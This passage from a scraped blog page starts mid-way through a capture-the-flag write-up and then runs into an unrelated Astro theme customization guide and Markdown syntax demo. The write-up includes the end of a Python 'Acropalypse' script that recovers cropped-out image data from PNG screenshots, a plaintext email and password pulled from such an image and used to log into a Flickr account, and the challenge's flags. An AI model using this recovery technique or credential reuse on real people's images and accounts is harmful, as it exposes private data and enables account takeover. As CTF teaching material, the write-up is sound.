                    ihdr += (6).to_bytes(1, "big") # true colour with alpha
                else:
                    ihdr += (2).to_bytes(1, "big") # true colour
                ihdr += (0).to_bytes(1, "big") # compression method
                ihdr += (0).to_bytes(1, "big") # filter method
                ihdr += (0).to_bytes(1, "big") # interlace method

                self.pack_png_chunk(out, b"IHDR", ihdr)

                # fill missing data with solid magenta
                if rgb_alpha:
                    reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
                else:
                    reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)

                # paste in the data we decompressed
                reconstructed_idat[-len(decompressed):] = decompressed

                self.pack_png_chunk(out, b"IDAT", zlib.compress(reconstructed_idat))
                self.pack_png_chunk(out, b"IEND", b"")

            print("Done!")
            return output_path

# Create an instance of the Acropalypse class
acropalypse = Acropalypse()

# Reconstruct the image using the correct resolution of 1920x1080
output_image_path = acropalypse.reconstruct_image('cm.png', 1920, 1080, True) // change to your input image file name

References: https://youtu.be/R866SnJoKQg?si=rby5gJoYa2s9zR4N

Retrieve the recovered full image from the specified output directory: /tmp folder
Login to flickr with the credentials obtained from the recovered image

cybersteal6969@gmail.com
sh8UPt-S"Cp-6i+

5. Browse through cybersteal6969's profile, we found two videos, flag1 and flag2

6. From the video, we analyse the morse code, given "NO FLAG FOR YOU TRY SOMETHING ELSE" Morse Code Analyser: https://morsecode.world/international/decoder/audio-decoder-adaptive.html 7. From the videos, we know that, it was posted by info stealer6969, shared to cybersteal6969, two of them are communicating

8. Enter info stealer6969 profile, we found another video, named flag, analyse the morse code, we get "GOODJOBG3TT1NGH3R3", this is the first decoy flag

9. Keep browsing, we found that info stealer6969 uploaded bunch of pictures

10. These pictures containing secret info in their metadata 11. Using exiftool, we found that cat.jpg directs us to https://cyberxstupid.blogspot.com/2024/12/blog-post.html, shown at comment section

12. Randomly clicking through the site, we found the second decoy flag CyberX{c4t_m0us3_g4m3_34sy}

13. Here we need to use Wayback Mahcine, archive.org, to track the past version of the site.

14. Under the same link but in past version, we obtain the final flag CyberX{c4t_m0us3_pl4y_m4d3_34s13r}

Personalized Customization Guide

Sat, 27 Jul 2024 00:00:00 GMT

Site Configuration

astro-theme-pure

Customizing this theme requires adjusting a significant amount of source code.

We have made efforts to centralize the configuration options in the src/site.config.ts file for user convenience and have integrated a variety of common social media/tools icons. If you want to add new icons, you will need to modify the source code yourself.

You can globally search for the following keywords to find the text that needs to be replaced:

Lorem ipsum
astro-theme-pure
cworld

Next, we will introduce each aspect in detail.

Configuration Files

See Configuration Files for details.

Waline Comment System

See Waline Comment System for details.

Footer

Currently supported social media include:

coolapk
telegram
github
bilibili
twitter
zhihu
steam
netease_music

If you want to add new social media, you need to modify the following files:

src/types.ts: Add a new SocialLink.name enum value and the icon mapping relationship for SocialMediaIconId
public/icons/social.svg: Follow the existing format and add a new icon as a symbol

It is recommended to find social media icons on the following websites to maintain consistency:
- remixicon
- mingcute

Other Files to Replace

public/favicon: The site's favicon. You can generate a favicon at favicon.io
public/images/social-card.png: The site's social card
src/assets/: This directory contains client-rendered avatars, sponsorship QR codes, and other images. Please replace them with your own images

Other Pages

About

Currently supported icons can be found in the src/icons directory.

If you want to add new Tools icons, you need to add a new icon in the src/icons directory.

It is recommended to find new icons on the following websites to maintain consistency:

Deployment Mode

See Deployment for details.

Markdown Syntax Support

Fri, 26 Jul 2024 08:00:00 GMT

Basic Syntax

Markdown is a lightweight and easy-to-use syntax for styling your writing.

Headers

When the content of the article is extensive, you can use headers to segment:

# Header 1

## Header 2

## Large Header

### Small Header

Header previews would disrupt the structure of the article, so they are not displayed here.

Bold and Italics

_Italic text_ and **Bold text**, together will be **_Bold Italic text_**

Preview:

Italic text and Bold text, together will be Bold Italic text

Links

Text link [Link Name](http://link-url)

Preview:

Text link Link Name

Inline Code

This is an `inline code`

Preview:

This is an inline code

Code Blocks

```js
// calculate fibonacci
function fibonacci(n) {
  if (n <= 1) return 1
  const result = fibonacci(n - 1) + fibonacci(n - 2) // [\!code --]
  return fibonacci(n - 1) + fibonacci(n - 2) // [\!code ++]
}
```

Preview:

// calculate fibonacci
function fibonacci(n) {
  if (n <= 1) return 1
  const result = fibonacci(n - 1) + fibonacci(n - 2) // [!code --]
  return fibonacci(n - 1) + fibonacci(n - 2) // [!code ++]
}

Currently using shiki as the code highlighting plugin. For supported languages, refer to Shiki: Languages.

Inline Formula

This is an inline formula $e^{i\pi} + 1 = 0$

Preview:

This is an inline formula $e^{i\pi} + 1 = 0$

Formula Blocks

$$
\hat{f}(\xi) = \int_{-\infty}^{\infty} f(x) e^{-2\pi i x \xi} \, dx
$$

Preview:

$$ \hat{f}(\xi) = \int_{-\infty}^{\infty} f(x) e^{-2\pi i x \xi} , dx $$

Currently using KaTeX as the math formula plugin. For supported syntax, refer to KaTeX Supported Functions.

Images

![CWorld](https://cravatar.cn/avatar/1ffe42aa45a6b1444a786b1f32dfa8aa?s=200)

Preview:

Strikethrough

~~Strikethrough~~

Preview:

~~Strikethrough~~

Lists

Regular unordered list

- 1
- 2
- 3

Preview:

Regular ordered list

1. GPT-4
2. Claude Opus
3. LLaMa

Preview:

GPT-4
Claude Opus
LLaMa

You can continue to nest syntax within lists.

Blockquotes

> Gunshot, thunder, sword rise. A scene of flowers and blood.

Preview:

Gunshot, thunder, sword rise. A scene of flowers and blood.

You can continue to nest syntax within blockquotes.

Line Breaks

Markdown needs a blank line to separate paragraphs.

If you don't leave a blank line
it will be in one paragraph

First paragraph

Second paragraph

Preview:

If you don't leave a blank line it will be in one paragraph

First paragraph

Second paragraph

Separators

If you have the habit of writing separators, you can start a new line and enter three dashes --- or asterisks ***. Leave a blank line before and after when there are paragraphs:

---

Preview:

Advanced Techniques

Inline HTML Elements

Currently, only some inline HTML elements are supported, including <kdb> , such as

Key Display

Use <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>Del</kbd> to reboot the computer

Preview:

Use Ctrl + Alt + Del to reboot the computer

Bold Italics

<b> Markdown also applies here, such as _bold_ </b>

Preview:

Markdown also applies here, such as bold

Other HTML Writing

Foldable Blocks

<details><summary>Click to expand</summary>It is hidden</details>

Preview:

Tables

| Header1  | Header2  |
| -------- | -------- |
| Content1 | Content2 |

Preview:

| Header1 | Header2 | | -------- | -------- | | Content1 | Content2 |

Footnotes

Use [^footnote] to add a footnote at the point of reference.

Then, at the end of the document, add the content of the footnote (it will be rendered at the end of the article by default).

[^footnote]: Here is the content of the footnote

Preview:

Use [^footnote] to add a footnote at the point of reference.

Then, at the end of the document, add the content of the footnote (it will be rendered at the end of the article by default).

[^footnote]: Here is the content of the footnote

To-Do Lists

- [ ] Incomplete task
- [x] Completed task

Preview:

[ ] Incomplete task
[x] Completed task

Symbol Escaping

If you need to use markdown symbols like _ # * in your description but don't want them to be escaped, you can add a backslash before these symbols, such as \_ \# \* to avoid it.

\_Don't want the text here to be italic\_

\*\*Don't want the text here to be bold\*\*

Preview:

_Don't want the text here to be italic_

**Don't want the text here to be bold**

Embedding Astro Components

See User Components and Advanced Components for details.